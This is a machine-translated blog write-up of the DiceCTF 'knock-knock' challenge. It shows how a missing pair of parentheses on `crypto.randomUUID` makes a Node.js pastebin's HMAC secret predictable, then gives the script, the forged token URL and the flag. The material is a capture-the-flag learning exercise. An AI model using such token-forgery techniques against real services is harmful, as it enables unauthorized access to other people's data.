当前位置:网站首页>DiceCTF - knock-knock
DiceCTF - knock-knock
2022-06-30 14:19:00 【Ff. cheng】
Together nodejs subject , Given the source code and dockerfile, from dockerfile know nodejs Version is 17.4.0, One pastebin


Return can be xss, But it doesn't come back cookie, therefore , Audit the code
The code logic is simple flag stay notes[0] position , But because everyone returns token inequality , So I want to forge token Switch to id=0 It seems impossible
You can find token The main logic of generation depends on two parts
this.secret = `secret-${crypto.randomUUID}`;
and
return crypto.createHmac('sha256',this.secret).update(id.toString()).digest('hex');
When I want to use my nodejs14 Try to generate secret Exception found at

So I went to find it 17 Version of the online website , Found a loophole ,nodejs-online

randomUUID The lack of () Lead to this.secret For fixing , This is a forgery token The opportunity of
So it can be forged token
const crypto = require('crypto');
let secret = `secret-${crypto.randomUUID}`;
let id = 0;
console.log(crypto.createHmac('sha256', secret).update(id.toString()).digest('hex'));
Another manual method
Put the error message base64 code
console.log(btoa(`secret-${crypto.randomUUID}`));
Generate
c2VjcmV0LWZ1bmN0aW9uIHJhbmRvbVVVSUQob3B0aW9ucykgewogIGlmIChvcHRpb25zICE9PSB1bmRlZmluZWQpCiAgICB2YWxpZGF0ZU9iamVjdChvcHRpb25zLCAnb3B0aW9ucycpOwogIGNvbnN0IHsKICAgIGRpc2FibGVFbnRyb3B5Q2FjaGUgPSBmYWxzZSwKICB9ID0gb3B0aW9ucyB8fCB7fTsKCiAgdmFsaWRhdGVCb29sZWFuKGRpc2FibGVFbnRyb3B5Q2FjaGUsICdvcHRpb25zLmRpc2FibGVFbnRyb3B5Q2FjaGUnKTsKCiAgcmV0dXJuIGRpc2FibGVFbnRyb3B5Q2FjaGUgPyBnZXRVbmJ1ZmZlcmVkVVVJRCgpIDogZ2V0QnVmZmVyZWRVVUlEKCk7Cn0=
utilize hmac forge token

visit
url/note?id=0&token=7bd881fe5b4dcc6cdafc3e86b4a70e07cfd12b821e09a81b976d451282f6e264
FLAG:dice{1_d00r_y0u_d00r_w3_a11_d00r_f0r_1_d00r}
边栏推荐
- Race of golang
- LeetCode_ Stack_ Medium_ 227. basic calculator II (without brackets)
- Thoughts on the security of a PHP file name regular verification
- org.json.JSONObject对象转json,json新增元素,根据json的key获取值。以及list对象格式字符串转jsonArray
- [observation] as the intelligent industry accelerates, why should AI computing power take the lead?
- 重磅:国产IDE发布,由阿里研发,完全开源!
- Using docker to manage MySQL services under Windows
- Logiciel de récupération de données easyrecovery15 téléchargement
- Numpy creates an empty array data = np empty(shape=[1, 64,64,3])
- Implementation of forwarding server using IO multiplexing
猜你喜欢
![[redis series] redis learning 16. Redis Dictionary (map) and its core coding structure](/img/5a/5da6180db0b2b96660bcd9b4fa0633.png)
[redis series] redis learning 16. Redis Dictionary (map) and its core coding structure

Shell programming overview

Realize a simple LAN communication (similar to feiqiu)

Mysql database foundation: stored procedures and functions

Flat shading with unity

Google Earth Engine(GEE)——GHSL:全球人类住区层,建成网格 1975-1990-2000-2015 (P2016) 数据集

Go language mutex lock

Error on datetime when importing SQL file from MySQL

Pytorch查看模型参数量和计算量

I love network security for new recruitment assessment
随机推荐
数据恢复软件EasyRecovery15下载
Service online governance
重磅:国产IDE发布,由阿里研发,完全开源!
In the digital age, XDR (extended detection and response) has unlimited possibilities
Calculates the length of the last word in a string, separated by spaces
[Title brushing] coco, who likes bananas
@ResponseBody的作用
Fastcgi CGI shallow understanding
Implementation of forwarding server using IO multiplexing
Advanced usage of go language for loop break and continue
Initial attack and defense world Misc
Crypto questions
Use PHP to delete the specified text content in the file
Getting started with shell Basics
Talk about Vue's two terminal diff algorithm, analysis of the rendering principle of the mobile terminal, and whether the database primary key must be self incremented? What scenarios do not suggest s
Chapter 13 signal (III) - example demonstration
go channel && select
Defi "where does the money come from"? A problem that most people don't understand
remote: Support for password authentication was removed on August 13, 2021. Please use a personal ac
Problem: wechat developer tool visitor mode cannot use this function